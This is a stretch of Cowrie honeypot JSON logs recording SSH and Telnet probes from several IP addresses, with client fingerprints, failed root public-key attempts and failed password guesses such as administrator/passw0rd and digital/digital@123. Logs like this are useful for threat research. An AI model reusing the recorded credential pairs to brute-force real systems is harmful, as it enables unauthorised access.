{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:0b:48:bc:ef:35:9a:11:0f:4e:26:3a:5f:93:41:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRLdD4d7Il2y4SRnxi/MdGOSUTXT70z2kadUme4O2oASdr7SaJJXOparg2+6RfS3c9mybZXEvzaUWtJ2kjicZa6ds6CZiMTTtiFUPfhbODwwQPV9hlXHyepceqxQThGBCn7d8nExrWGTjs2JADYGFj3xNBfXZyfBe1nqQsWR3ZguuONMddzn1Bkd3z05omJZcNaLI7XA7MpueHXnjYrfA53QAiY2V79KwXl8wTTuZqF29MWmlHknRCezYYfYPBanb3XObRVpCZiEL2XlHEPcR8Xodofh086rYqBeQiXljbTchcq4c39l5+cItjY6WvghR47d3MJYzlL7daq/uIoR+k9hIFmXvkHzoAxNbc/BdAEhHFzZ+q46HxozGT/KLJEONBT/yLDJ7+tZWrffxvjLaznDsa1XgjPwfyf5DooAnVVc501oS7i+JhUDAh4lLOeKHetxeTvGr2sqxaMrd98WfvbD3mTCSrTFWFlxJgETNuWFpWc/awr3A63pOzNsEIjCn9yE+JjltfIWWUxY4TjSurIUbplXCkfF0sEoCq9CFwKr1GvoR4MLuAhuvT7+rjT7Xtdmo+eNxlnDTk8s9c6OKOFyjC261f2q40WW9F+aujvyVSA2aa67bq/NSI+0W8YEw9IdoBV/KslWErBoMKTyeO1Pp1QeLcb2V0PZu9kGcHAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:0b:48:bc:ef:35:9a:11:0f:4e:26:3a:5f:93:41:1e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.410931Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:0b:48:bc:ef:35:9a:11:0f:4e:26:3a:5f:93:41:1e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRLdD4d7Il2y4SRnxi/MdGOSUTXT70z2kadUme4O2oASdr7SaJJXOparg2+6RfS3c9mybZXEvzaUWtJ2kjicZa6ds6CZiMTTtiFUPfhbODwwQPV9hlXHyepceqxQThGBCn7d8nExrWGTjs2JADYGFj3xNBfXZyfBe1nqQsWR3ZguuONMddzn1Bkd3z05omJZcNaLI7XA7MpueHXnjYrfA53QAiY2V79KwXl8wTTuZqF29MWmlHknRCezYYfYPBanb3XObRVpCZiEL2XlHEPcR8Xodofh086rYqBeQiXljbTchcq4c39l5+cItjY6WvghR47d3MJYzlL7daq/uIoR+k9hIFmXvkHzoAxNbc/BdAEhHFzZ+q46HxozGT/KLJEONBT/yLDJ7+tZWrffxvjLaznDsa1XgjPwfyf5DooAnVVc501oS7i+JhUDAh4lLOeKHetxeTvGr2sqxaMrd98WfvbD3mTCSrTFWFlxJgETNuWFpWc/awr3A63pOzNsEIjCn9yE+JjltfIWWUxY4TjSurIUbplXCkfF0sEoCq9CFwKr1GvoR4MLuAhuvT7+rjT7Xtdmo+eNxlnDTk8s9c6OKOFyjC261f2q40WW9F+aujvyVSA2aa67bq/NSI+0W8YEw9IdoBV/KslWErBoMKTyeO1Pp1QeLcb2V0PZu9kGcHAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.414949Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:cc:86:13:d8:6d:8a:9a:f0:55:55:b4:51:09:90:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbHknbbSiHvGcryenA56uQXkUONxknCFzopBbCFHPMh/mkRroYTDT8y3ckj/rY30ksB0kpu1vij3N85aqL+dAKY5MuQQ611o6jbpdKh8onZEZs2DJL+EOEF6HL9Sbr6vz5pj/2Hh+ihd2KD/ltM0QZQO3ogqsnmsvwjtBaYwH0TTFunL1U3cxc+X6rDIs3tyWtu86jtfcwXzVw/kJUB3Bv22yQpyM/0O9HyPdGtTC5hhbOQrkCQ27Fcz0fAeH83pLHkAPQQ6o35/Nk+U86/tvWsyqo8OBFDiW4cLfanKHuqIC+eKQd9W93G8Ye0luNDMrF3MqXudxBuhvljYkLhQg7li9B1RijOdb5XTFdn+13d+zfbzvqzmv/F4fGp5JP9svJMlW+M7ulUKmtkT4vS3RPjR2UBRQqBhDuWlo7fxRjfDsczY6nbqXQZnG4UvU9pFZzc+/v7w0Uq2ps1gi7Woy6UV6b7IOZYuOPUsx6pFVZq2ylaPSN2H2IW3s+DLuDMhJCgEIkoJ/JWqvkxIWRvzAR+apYIiultKlQdROXm/Mb99bN3C68SHSUycDiRSj3UtUDDnz39ihrjW/17rWrGTVV8hrF0B5wVGtrXtbpeLZ6r9AD+vxZvV6yHMrcNAkwFZiY7ZWI1yOBaMFGFJ/LXN/duEcMlBhie5QLO857AWDY4w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:cc:86:13:d8:6d:8a:9a:f0:55:55:b4:51:09:90:f3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.505345Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:cc:86:13:d8:6d:8a:9a:f0:55:55:b4:51:09:90:f3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCbHknbbSiHvGcryenA56uQXkUONxknCFzopBbCFHPMh/mkRroYTDT8y3ckj/rY30ksB0kpu1vij3N85aqL+dAKY5MuQQ611o6jbpdKh8onZEZs2DJL+EOEF6HL9Sbr6vz5pj/2Hh+ihd2KD/ltM0QZQO3ogqsnmsvwjtBaYwH0TTFunL1U3cxc+X6rDIs3tyWtu86jtfcwXzVw/kJUB3Bv22yQpyM/0O9HyPdGtTC5hhbOQrkCQ27Fcz0fAeH83pLHkAPQQ6o35/Nk+U86/tvWsyqo8OBFDiW4cLfanKHuqIC+eKQd9W93G8Ye0luNDMrF3MqXudxBuhvljYkLhQg7li9B1RijOdb5XTFdn+13d+zfbzvqzmv/F4fGp5JP9svJMlW+M7ulUKmtkT4vS3RPjR2UBRQqBhDuWlo7fxRjfDsczY6nbqXQZnG4UvU9pFZzc+/v7w0Uq2ps1gi7Woy6UV6b7IOZYuOPUsx6pFVZq2ylaPSN2H2IW3s+DLuDMhJCgEIkoJ/JWqvkxIWRvzAR+apYIiultKlQdROXm/Mb99bN3C68SHSUycDiRSj3UtUDDnz39ihrjW/17rWrGTVV8hrF0B5wVGtrXtbpeLZ6r9AD+vxZvV6yHMrcNAkwFZiY7ZWI1yOBaMFGFJ/LXN/duEcMlBhie5QLO857AWDY4w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.509020Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:bb:1c:03:81:12:d1:49:f3:0e:05:99:30:a4:83:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH85p9UIty6zxLbEQ9He0FyFJVlXOQNfC040zd0mxLiosSAHK1XB9TqkAHei844u6cQb6+1sUhgNvVDhAPDd2WGbYisILOqgDN1RKcmKPOQFd5QLKg9tJf5wy0vANoijBQTjPmdYWAudV4kPqw5N5b3voKCN3I0rEhklRdxWqxjgR7tEPiocRPM9tctHAQcE/KdSGf0bFfdbp9LhPOr8FlPYXj6uikOyHM6Nayijs2reQU4KOSVbW3pXSZPeXbmpD2aeWtShyyLqy1ucaQuWpggfrMLMO8gTyNjCYFr7CVVRcGqgAxmMApLwXVspoNvgG7yCO0a4zhLoOVZM6W/gFh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:bb:1c:03:81:12:d1:49:f3:0e:05:99:30:a4:83:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.601454Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:bb:1c:03:81:12:d1:49:f3:0e:05:99:30:a4:83:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDH85p9UIty6zxLbEQ9He0FyFJVlXOQNfC040zd0mxLiosSAHK1XB9TqkAHei844u6cQb6+1sUhgNvVDhAPDd2WGbYisILOqgDN1RKcmKPOQFd5QLKg9tJf5wy0vANoijBQTjPmdYWAudV4kPqw5N5b3voKCN3I0rEhklRdxWqxjgR7tEPiocRPM9tctHAQcE/KdSGf0bFfdbp9LhPOr8FlPYXj6uikOyHM6Nayijs2reQU4KOSVbW3pXSZPeXbmpD2aeWtShyyLqy1ucaQuWpggfrMLMO8gTyNjCYFr7CVVRcGqgAxmMApLwXVspoNvgG7yCO0a4zhLoOVZM6W/gFh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.604994Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:19:44.694352Z","src_ip":"175.110.115.68","session":"1907afef69b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":42118,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c7b45488bff","protocol":"ssh","message":"New connection: 103.228.69.212:42118 (10.17.0.5:22) [session: 7c7b45488bff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:20:07.388749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:20:07.395182Z","src_ip":"103.228.69.212","session":"7c7b45488bff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:20:07.628673Z","src_ip":"103.228.69.212","session":"7c7b45488bff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"passw0rd","message":"login attempt [administrator/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:20:08.583052Z","src_ip":"103.228.69.212","session":"7c7b45488bff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:20:09.830525Z","src_ip":"103.228.69.212","session":"7c7b45488bff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":59004,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ff8cd162b0","protocol":"ssh","message":"New connection: 103.228.69.212:59004 (10.17.0.5:22) [session: e4ff8cd162b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:21:05.229150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:21:05.234758Z","src_ip":"103.228.69.212","session":"e4ff8cd162b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:21:05.470997Z","src_ip":"103.228.69.212","session":"e4ff8cd162b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gmodserver4","password":"gmodserver4","message":"login attempt [gmodserver4/gmodserver4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:21:06.430908Z","src_ip":"103.228.69.212","session":"e4ff8cd162b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:21:07.668282Z","src_ip":"103.228.69.212","session":"e4ff8cd162b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.178.49.79","src_port":41024,"dst_ip":"10.17.0.5","dst_port":23,"session":"47dcc6a1a72f","protocol":"telnet","message":"New connection: 115.178.49.79:41024 (10.17.0.5:23) [session: 47dcc6a1a72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:21:56.134750Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":47656,"dst_ip":"10.17.0.5","dst_port":22,"session":"a10b2528d3d4","protocol":"ssh","message":"New connection: 103.228.69.212:47656 (10.17.0.5:22) [session: a10b2528d3d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:03.282361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:03.287638Z","src_ip":"103.228.69.212","session":"a10b2528d3d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:03.527492Z","src_ip":"103.228.69.212","session":"a10b2528d3d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digital","password":"digital@123","message":"login attempt [digital/digital@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:04.537539Z","src_ip":"103.228.69.212","session":"a10b2528d3d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:05.779866Z","src_ip":"103.228.69.212","session":"a10b2528d3d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18194,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8803b1d3849","protocol":"ssh","message":"New connection: 194.59.206.2:18194 (159.203.135.109:22) [session: b8803b1d3849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:12.183368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:12.241508Z","src_ip":"194.59.206.2","session":"b8803b1d3849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:12.277363Z","src_ip":"194.59.206.2","session":"b8803b1d3849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:12.458446Z","src_ip":"194.59.206.2","session":"b8803b1d3849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":48941,"dst_ip":"10.17.0.5","dst_port":22,"session":"07cd46fa0900","protocol":"ssh","message":"New connection: 106.241.31.17:48941 (10.17.0.5:22) [session: 07cd46fa0900]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:40.572777Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:40.777513Z","src_ip":"106.241.31.17","session":"07cd46fa0900","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":43426,"dst_ip":"10.17.0.5","dst_port":22,"session":"e36c2d78d969","protocol":"ssh","message":"New connection: 80.94.92.186:43426 (10.17.0.5:22) [session: e36c2d78d969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:42.904093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:42.976511Z","src_ip":"80.94.92.186","session":"e36c2d78d969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:43.355579Z","src_ip":"80.94.92.186","session":"e36c2d78d969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:44.391211Z","src_ip":"80.94.92.186","session":"e36c2d78d969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:22:45.729697Z","src_ip":"80.94.92.186","session":"e36c2d78d969","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":36308,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f7b61dd0018","protocol":"ssh","message":"New connection: 103.228.69.212:36308 (10.17.0.5:22) [session: 3f7b61dd0018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:02.049636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T06:23:02.058335Z","src_ip":"103.228.69.212","session":"3f7b61dd0018","protocol":"ssh"}
